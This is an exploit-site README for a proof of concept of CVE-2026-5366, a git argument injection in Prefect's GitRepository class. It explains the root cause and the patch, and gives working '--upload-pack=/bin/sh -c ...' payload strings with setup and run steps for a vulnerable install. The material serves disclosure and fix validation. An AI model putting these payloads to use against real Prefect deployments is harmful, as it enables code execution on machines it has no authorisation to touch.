Share
## https://sploitus.com/exploit?id=2188B2BD-305E-5039-8E88-798A5265A54D
# PoC: CVE-2026-5366 - Git Argument Injection in Prefect (GitRepository)

- Vulnerability: git argument injection leading to RCE via `commit_sha` (plus argument injection via `directories`)
- Version: vulnerable in 3.6.23, fixed in 3.6.25+
- File: `src/prefect/runner/storage.py`
- Huntr: https://huntr.com/bounties/e2e88a0f-a8f6-49c9-94c5-e98dc385f07a
- CVE: CVE-2026-5366

## Disclaimer

This is a proof of concept for an already-disclosed and patched vulnerability
(fixed in Prefect 3.6.25), published for education and defensive validation.
Run it only against software and systems you own or are authorized to test.
If you run Prefect, upgrade to 3.6.25 or later.

## Repository layout

| File | Purpose |
|------|---------|
| `poc.py` | Runs both injection vectors against a vulnerable install and reports which one yields code execution |
| `run_offline.sh` | Network-free runner: builds a local `file://` repo and drives `poc.py` against it (the reliable way to see the RCE fire) |

## Root cause (3.6.23, exact lines)

In `src/prefect/runner/storage.py`:

```python
# Line 174
if branch and commit_sha:
    raise ValueError(...)

# Line 181
self._commit_sha = commit_sha          # no validation whatsoever
...
self._directories = directories
```

Injection points (3.6.23 line numbers):

- `commit_sha`:
  - `pull_code()` ~379: `["git", "fetch", "origin", self._commit_sha]`
  - `pull_code()` ~391: `["git", "checkout", self._commit_sha]`
  - `_clone_repo()` ~475: `["git", "fetch", "origin", self._commit_sha]`
  - `_clone_repo()` ~480: `["git", "checkout", self._commit_sha]`

- `directories`:
  - `pull_code()` ~360: `["git", "sparse-checkout", "set", *self._directories]`
  - `_clone_repo()` ~489: `["git", "sparse-checkout", "set", *self._directories]`
  (no `--` separator)

On the `commit_sha` path, `--upload-pack=` is interpreted by
`git fetch`/`git checkout` as the pack program to run for the connection, so the
program is executed locally on the worker machine. This is verified end-to-end
(see "Verified results" below).

The `directories` path is genuine argument injection but is not an RCE vector
via `--upload-pack`: `git sparse-checkout set` is a local command with no
`--upload-pack` option, so the payload is rejected as an unknown flag. This
asymmetry is mirrored by the upstream fix: `commit_sha` is rejected hard, while
a `--`-leading `directories` entry only triggers a warning.

## How the exploit works

The core is a git argument-injection trick on the `commit_sha` vector.

1. No validation. In 3.6.23 the `commit_sha` value is stored verbatim
(`storage.py:181`), with no checks beyond the `branch`/`commit_sha` mutual
exclusion. Any string is accepted.

2. It lands in a git argument position. When Prefect pulls code
(`pull_code()` then `_clone_repo()`), the value is placed in a git argument list:

```python
["git", "fetch", "origin", self._commit_sha]   # storage.py:475
["git", "checkout", self._commit_sha]          # storage.py:480
```

This is an argument list (no shell), so there is no shell injection. The flaw is
that there is no `--` separator before the attacker-controlled value.

3. `--upload-pack` is parsed as an option, not an argument. git treats anything
starting with `-` as an option unless a `--` separator precedes it. The payload:

```
--upload-pack=/bin/sh -c 'echo "EXPLOITED..." > /tmp/marker.txt'
```

turns the command into:

```bash
git fetch origin --upload-pack=/bin/sh -c 'echo ... > /tmp/marker.txt'
```

`--upload-pack=` is a legitimate option of `git fetch`/`clone`/
`ls-remote`: it names the program git runs to serve packs. When the remote is
local (`file://`) or reached over SSH/local transport, git executes that program
on the local machine.

4. Result: RCE. git launches `/bin/sh -c '...'` in place of the real
`git-upload-pack` helper, so the attacker's command runs on the Prefect worker.
git then fails (sh doesn't speak the git protocol), but the side effect (code
execution) has already happened, which is why the PoC ignores the resulting
exception and only checks for the marker file.

Why the pre-test cleanup matters. If the destination already has a `.git`,
Prefect takes the "update existing repo" path. Deleting it forces the full
`_clone_repo()` path, which has the most direct `fetch origin ` +
`checkout ` calls, the best injection sites.

Why `directories` does not give RCE. That value lands in
`git sparse-checkout set `, a local command with no `--upload-pack`
option, so git rejects the payload as an unknown flag. It is still genuine
argument injection, but not an RCE vector with this payload.

The fix (3.6.25). `commit_sha` must match `^[0-9a-fA-F]{4,64}$`, so a
`--upload-pack=...` payload is rejected with `ValueError: Invalid commit SHA`
at construction time. For `directories`, the fix adds the `--` separator in the
git command (values can no longer be read as options) plus a warning.

## Recommended PoC strategy

1. Install exactly `prefect==3.6.23`
2. Force cleanup of the destination directory before every test (this is the most important part)
3. Trigger via direct `GitRepository(..., commit_sha=..., directories=...).pull_code()`
4. Use timestamped markers so you can see which vector worked
5. On a patched build (>= 3.6.25), confirm the malicious `commit_sha` is rejected at `GitRepository(...)` construction

## Setup (vulnerable environment)

```bash
python -m venv .venv-vuln
source .venv-vuln/bin/activate

pip install "prefect==3.6.23"
```

Or from source at the exact vulnerable tag:

```bash
git clone https://github.com/PrefectHQ/prefect.git
cd prefect
git checkout 3.6.23
pip install -e .
```

## Run the PoC

The reliable, self-contained way (builds a local `file://` repo and runs both vectors):

```bash
./run_offline.sh
# or pin a specific interpreter:
PYTHON=.venv-vuln/bin/python ./run_offline.sh
```

You can also drive `poc.py` directly:

```bash
python poc.py                                              # default https target
POC_TARGET_REPO="file:///tmp/bare-repo.git" python poc.py  # local repo
```

Important: git only honors `--upload-pack` on local and ssh transports. Against
the default https remote the payload is inert, so `python poc.py` reports no
marker even on vulnerable 3.6.23. Use `run_offline.sh` (or a `file://` / ssh
`POC_TARGET_REPO`) to see the RCE actually fire.

The script does aggressive cleanup (`force_clean_destination`) before each
vector so it reliably hits the clone path (`_clone_repo`), which performs:

```bash
git clone ... --no-checkout
git fetch origin 
git checkout 
```

## Precise payloads used in this PoC (3.6.23)

`commit_sha`:
```python
"--upload-pack=/bin/sh -c 'echo \"EXPLOITED via commit_sha $(date)\" > /tmp/prefect_rce_COMMIT_....txt 2>&1 || true'"
```

`directories`:
```python
["--upload-pack=/bin/sh -c 'echo \"EXPLOITED via directories $(date)\" > /tmp/prefect_rce_DIRS_....txt 2>&1 || true'"]
```

These hit the raw argument positions in `fetch` / `checkout` and
`sparse-checkout set`.

## Verified results

Reproduced end-to-end, fully offline (local `file://` bare repo via
`run_offline.sh`), on Python 3.12:

| Version | `commit_sha` | `directories` |
|---------|--------------|---------------|
| 3.6.23 (vulnerable) | RCE achieved: marker file written during `git fetch origin ` | no marker: `sparse-checkout set` rejects the `--upload-pack` flag |
| 3.6.25 (patched) | neutralized: `ValueError: Invalid commit SHA ...` at `GitRepository(...)` construction | no marker: `--` separator + warning |

Observed vulnerable-run marker content:

```
EXPLOITED via commit_sha 
```

## Clean up

```bash
rm -f /tmp/prefect_rce_*.txt
rm -rf prefect-poc-*
```

## Verify the fix (on >= 3.6.25)

On a patched install the malicious object fails to construct, before any git runs:

```python
from prefect.runner.storage import GitRepository
GitRepository(url="https://github.com/octocat/Hello-World.git",
              commit_sha="--upload-pack=/bin/sh -c 'id'")
# ValueError: Invalid commit SHA ...
```

A `--`-leading `directories` entry only emits a warning (the real protection is
the `--` separator added to the git command).

## References

- Vulnerable tag: `3.6.23`
- Patch commit: `6a9d9918716ce4ee0297b69f3046f7067ef1faae`
- Pre-fix parent: `21b2838054c7231cee8cbe196fdadc67ee6c1c6d`

Use responsibly (sure !!! :PpPPpp) and only on systems you control :-)